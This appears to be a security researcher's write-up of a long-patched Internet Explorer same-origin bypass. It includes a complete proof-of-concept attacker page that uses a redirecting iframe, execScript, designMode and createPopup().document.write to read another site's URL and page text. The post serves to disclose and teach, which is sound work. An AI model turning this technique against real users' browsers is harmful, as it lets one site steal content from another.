I found that if a cross-origin redirecting iframe used createPopup().document.write() on the parent, the resulting popup’s URL became that of the iframe’s post-redirect origin. Since the popup’s script executed in that cross-origin context, it could read parent[0].document.URL and body.innerText of the redirected iframe. The designMode = "On" step inside the iframe was essential to make the technique work correctly.
<!-- index.html (attacker page) -->
<script>
function main()
{
document.getElementById("container").innerHTML = '<iframe src="redirect.aspx" width="760" height="100"></iframe>';
var iFrameCode = 'document.designMode = "On";'+
'myTop = parent;'+
'alert("Click OK when Bing is loaded...");'+
'myTop.createPopup().document.write(".<script defer>alert(parent[0].document.URL + \' ---- \' + parent[0].document.body.innerText)<\/script>");';
window[0].execScript(iFrameCode);
}
</script>
<input type="button" onclick="main()" value="Do it!">
<div id="container"></div>
The iframe was injected pointing at a redirect that eventually resolved to a cross-origin page like Bing. Before the redirect, execScript ran code inside the iframe that enabled designMode, saved a parent reference, blocked with an alert, and then called parent.createPopup().document.write(...). The document.write gave the popup the iframe’s current origin, so the deferred <script> in the popup executed in that cross-origin context and freely read the iframe’s content.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.